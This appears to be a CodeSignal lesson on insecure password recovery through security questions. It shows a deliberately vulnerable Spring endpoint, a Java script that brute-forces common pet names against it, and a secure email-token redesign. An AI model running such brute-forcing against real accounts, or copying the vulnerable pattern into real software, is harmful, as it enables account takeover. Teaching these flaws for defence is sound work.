Introduction

Welcome to the A04: Insecure Design course! In this lesson, we will explore the topic of insecure credential recovery mechanisms, specifically focusing on the use of security questions and answers. Credential recovery is a critical component of web applications, allowing users to regain access to their accounts. However, when implemented insecurely, it can become a significant vulnerability.

Let's dive into understanding these mechanisms and how they can be exploited. 🚀

Historical Context of Security Questions

Security questions have been a popular authentication method since the early days of online banking and email services. The concept is simple: users choose predetermined questions and provide answers that only they should know. Common questions include "What's your mother's maiden name?", "What street did you grow up on?", or "What was your first pet's name?". While this method initially seemed secure, it has several fundamental flaws.

Other outdated recovery methods include:

  • SMS-based recovery (vulnerable to SIM swapping).
  • Simple PIN codes sent via email.
  • Birth date verification.
  • Last transaction amount (for banking).

The main security flaw with security questions is that the answers are often easily discoverable through social media, public records, or social engineering. This makes them particularly vulnerable to targeted attacks. Let's examine how these mechanisms typically work in code.

Understanding Credential Recovery Mechanisms

Credential recovery mechanisms are processes that allow users to regain access to their accounts when they forget their passwords. When implemented using security questions, the system compares user-provided answers against stored responses.

While this seems straightforward, it introduces several security risks because the answers are often predictable or publicly available information. Let's examine a vulnerable implementation that demonstrates these risks.

The Vulnerable Implementation

Let's examine a typical implementation of security question recovery, where the application first verifies that the user exists and then checks their security answer. This is how the controller handles the initial recovery request:

@RestController
@RequestMapping("/api")
public class PasswordRecoveryController {

    @Autowired
    private UserRepository userRepository;

    @Autowired
    private BCryptPasswordEncoder passwordEncoder;

    @PostMapping("/recover-password")
    public ResponseEntity<?> recoverPassword(@RequestBody RecoveryRequest request) {
        Optional<User> userOptional = userRepository.findByUsername(request.getUsername());
        
        if (userOptional.isEmpty()) {
            return ResponseEntity.status(404)
                .body(Map.of("error", "User not found"));
        }
        
        User user = userOptional.get();
        // ...rest of the code follows
    }
}

This code immediately confirms whether a username exists in the system. Although hiding user existence provides maximum security, many applications choose to reveal this information while protecting against enumeration attacks using CAPTCHA or rate limiting — a trade-off that is worth exploring here.

Next, let's see how it handles the security answer verification:

        if (request.getSecurityAnswer().equals(user.getSecurityAnswer())) {
            String tempPassword = UUID.randomUUID().toString().substring(0, 8);
            String hashedPassword = passwordEncoder.encode(tempPassword);
            user.setPassword(hashedPassword);
            userRepository.save(user);
            
            return ResponseEntity.ok(Map.of("newPassword", tempPassword));
        } else {
            return ResponseEntity.status(401)
                .body(Map.of("error", "Incorrect security answer"));
        }
    }
}

This implementation is particularly vulnerable because it performs a simple string comparison and immediately returns a temporary password. Additionally, it lacks rate limiting and account lockouts, and it stores security answers in plaintext — all of which are significant security issues. Now, let's see how an attacker might exploit these vulnerabilities.

Exploiting the Vulnerability

An attacker could easily create a script to attempt common pet names, especially if they know the security question is "What was your first pet's name?". Here is a simple demonstration of such an attack:

import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.util.List;

public class RecoveryAttack {
    
    private static final List<String> COMMON_DOG_NAMES = List.of(
        "Max", "Bella", "Luna", "Charlie", "Lucy", "Cooper", "Daisy", "Milo",
        "Bailey", "Rocky", "Bear", "Shadow", "Jack", "Sadie", "Buddy"
    );
    
    private static final HttpClient httpClient = HttpClient.newHttpClient();
    
    public static void attemptRecovery(String username) {
        for (String name : COMMON_DOG_NAMES) {
            try {
                String jsonBody = String.format(
                    "{\"username\":\"%s\",\"securityAnswer\":\"%s\"}", 
                    username, name
                );
                
                HttpRequest request = HttpRequest.newBuilder()
                    .uri(URI.create("http://localhost:8080/api/recover-password"))
                    .header("Content-Type", "application/json")
                    .POST(HttpRequest.BodyPublishers.ofString(jsonBody))
                    .build();
                
                HttpResponse<String> response = httpClient.send(request, 
                    HttpResponse.BodyHandlers.ofString());
                
                System.out.println("Response status: " + response.statusCode() + 
                    ", Body: " + response.body());
                
                if (response.statusCode() == 200 && response.body().contains("newPassword")) {
                    System.out.println("Success! Answer found: " + name + 
                        ", Response: " + response.body());
                    return;
                }
            } catch (Exception e) {
                System.err.println("Error making request: " + e.getMessage());
            }
        }
        
        System.out.println("Recovery attempt completed. No successful matches found.");
    }
    
    public static void main(String[] args) {
        attemptRecovery("targetUser");
    }
}

This script systematically tries COMMON_DOG_NAMES against the recovery endpoint. Because the API reveals whether answers are correct, it can quickly find the right answer. Once successful, the attacker receives a temporary password in the response, which can be immediately used to log into the account and change the password permanently. To address these vulnerabilities, we need a more secure approach.

A More Secure Approach: Email-Based Token System

Instead of relying on security questions, a more secure approach is to implement an email-based password reset system. This approach has become an industry standard used by major platforms like Google, Amazon, and Microsoft due to its robust security model.

The security of this method is multi-faceted and addresses several key vulnerabilities present in security question systems:

  • Email accounts serve as a trusted secondary authentication channel, often protected by two-factor authentication (though not all users enable 2FA).
  • Time-limited tokens ensure reset links expire quickly, typically within an hour.
  • The system generates cryptographically secure tokens that are practically impossible to guess.
  • Every reset attempt creates an audit trail through email and application logs.

These security features work together to create a robust system that is both secure and user-friendly, while providing security teams with the visibility they need to detect and respond to potential attacks.

Let's examine an example implementation of this secure solution step by step.

Implementing Secure Password Reset

First, let's look at how we handle the initial password reset request. Here is an improved and robust implementation. (The generateResetToken utility method will be shown a bit later.)

@RestController
@RequestMapping("/api")
public class RecoverPasswordController {

    private final UserRepository users;
    private final EmailUtil emailUtil;
    private final CryptoUtil cryptoUtil;
    private final PasswordEncoder passwordEncoder;

    public RecoverPasswordController(UserRepository users, EmailUtil emailUtil, 
                                     CryptoUtil cryptoUtil, PasswordEncoder passwordEncoder) {
        this.users = users;
        this.emailUtil = emailUtil;
        this.cryptoUtil = cryptoUtil;
        this.passwordEncoder = passwordEncoder;
    }

    @PostMapping("/recover-password")
    public ResponseEntity<?> recoverPassword(@RequestBody RecoverPasswordRequest request) {
        try {
            String username = request.username();

            // If username is null or empty, still return the standard message
            if (username == null || username.isBlank()) {
                return ResponseEntity.ok(Map.of("message", 
                    "If an account exists, a reset link will be sent"));
            }

            User user = users.findByUsername(username).orElse(null);
            if (user == null) {
                return ResponseEntity.ok(Map.of("message", 
                    "If an account exists, a reset link will be sent"));
            }

            CryptoUtil.TokenPair tokenPair = cryptoUtil.generateResetToken();
            
            user.setResetToken(tokenPair.tokenHash()); // Store the hashed version
            user.setResetTokenExpires(new Date(System.currentTimeMillis() + 3600000)); // 1 hour
            users.save(user);

            emailUtil.sendPasswordResetEmail(user.getEmail(), tokenPair.token());
            
            return ResponseEntity.ok(Map.of("message", 
                "Check your email for further instructions."));
        } catch (Exception e) {
            System.err.println("Password recovery error: " + e.getMessage());
            // Always return 200 status code with the generic message
            return ResponseEntity.ok(Map.of("message", 
                "If an account exists, a reset link will be sent"));
        }
    }
    
    public record RecoverPasswordRequest(String username) {}
}

Notice how we now return the same message regardless of whether the user exists, preventing username enumeration. This is done for maximum security, but, as mentioned above, you might want to reveal this information to users for a better user experience.

Next, let's see how we generate and store the reset token.

Using Reset Tokens

The reset token mechanism is a crucial part of secure password recovery. The resetToken is typically a cryptographically secure random string that serves as a one-time password reset link. When stored in the database, it is associated with the user's account and given an expiration timestamp.

            CryptoUtil.TokenPair tokenPair = cryptoUtil.generateResetToken();
            
            user.setResetToken(tokenPair.tokenHash()); // Store the hashed version
            user.setResetTokenExpires(new Date(System.currentTimeMillis() + 3600000)); // 1 hour
            users.save(user);

            emailUtil.sendPasswordResetEmail(user.getEmail(), tokenPair.token());
            
            return ResponseEntity.ok(Map.of("message", 
                "Check your email for further instructions."));

This implementation creates a secure, time-limited token and sends it via email. The token acts like a temporary key — it must be unique and unpredictable, and it should expire after a short period (in this case, one hour) to minimize the window of opportunity for potential attacks.

Handling Password Reset Requests

When the user clicks the reset link, we verify the token and update the password:

    @PostMapping("/reset-password")
    public ResponseEntity<?> resetPassword(@RequestBody ResetPasswordRequest request) {
        try {
            String token = request.token();
            String newPassword = request.newPassword();
            
            // Hash the provided token to compare with stored hash
            String tokenHash = cryptoUtil.hashToken(token);
            
            User user = users.findByResetTokenAndResetTokenExpiresAfter(tokenHash, new Date())
                .orElse(null);

            // Make sure the token hasn't expired
            if (user == null) {
                return ResponseEntity.status(HttpStatus.BAD_REQUEST)
                    .body(new ErrorResponse("Invalid or expired reset token"));
            }

Finally, we update the password and invalidate the token:

            String hashedPassword = passwordEncoder.encode(newPassword);
            user.setPassword(hashedPassword);
            user.setResetToken(null);
            user.setResetTokenExpires(null);
            users.save(user);

            return ResponseEntity.ok(Map.of("message", "Password successfully reset"));
        } catch (Exception e) {
            System.err.println("Password reset error: " + e.getMessage());
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(new ErrorResponse("Internal server error"));
        }
    }
    
    public record ResetPasswordRequest(String token, String newPassword) {}
}

This implementation ensures that reset tokens are single-use and time-limited, significantly improving security over the security question approach.

Cryptographic Utilities for Secure Token Generation

To securely generate and store password reset tokens, use the following implementation:

import java.security.MessageDigest;
import java.security.SecureRandom;
import org.springframework.stereotype.Component;

@Component
public class CryptoUtil {
    
    private final SecureRandom secureRandom = new SecureRandom();
    
    public TokenPair generateResetToken() throws Exception {
        byte[] buffer = new byte[32];
        secureRandom.nextBytes(buffer);
        
        String token = bytesToHex(buffer);
        String tokenHash = hashToken(token);
        
        return new TokenPair(token, tokenHash);
    }
    
    public String hashToken(String token) {
        try {
            MessageDigest digest = MessageDigest.getInstance("SHA-256");
            byte[] hashBytes = digest.digest(token.getBytes());
            return bytesToHex(hashBytes);
        } catch (Exception e) {
            throw new RuntimeException("Failed to hash token", e);
        }
    }
    
    private String bytesToHex(byte[] bytes) {
        StringBuilder result = new StringBuilder();
        for (byte b : bytes) {
            result.append(String.format("%02x", b));
        }
        return result.toString();
    }
    
    public record TokenPair(String token, String tokenHash) {}
}

This implementation uses SecureRandom for generating unpredictable tokens and SHA-256 for secure token hashing, ensuring both the generation and storage of reset tokens are cryptographically secure. The token is sent to the user, while the tokenHash is stored in the database, similar to how we handle passwords.

Note that SHA-256 is suitable for hashing tokens; however, for passwords, a slow hash like bcrypt should be used.

Conclusion and Next Steps

In this lesson, we explored the vulnerabilities of using security questions for credential recovery and demonstrated how they can be exploited. We also discussed and implemented a secure email-based token system as a better alternative.

As you move forward, you will have the opportunity to practice these concepts in the exercises that follow. In the next lesson, we will continue to build on this foundation by exploring other common vulnerabilities and their mitigations. Keep up the great work! 🌟

Sign up
Join the 1M+ learners on CodeSignal
Be a part of our community of 1M+ users who develop and demonstrate their skills on CodeSignal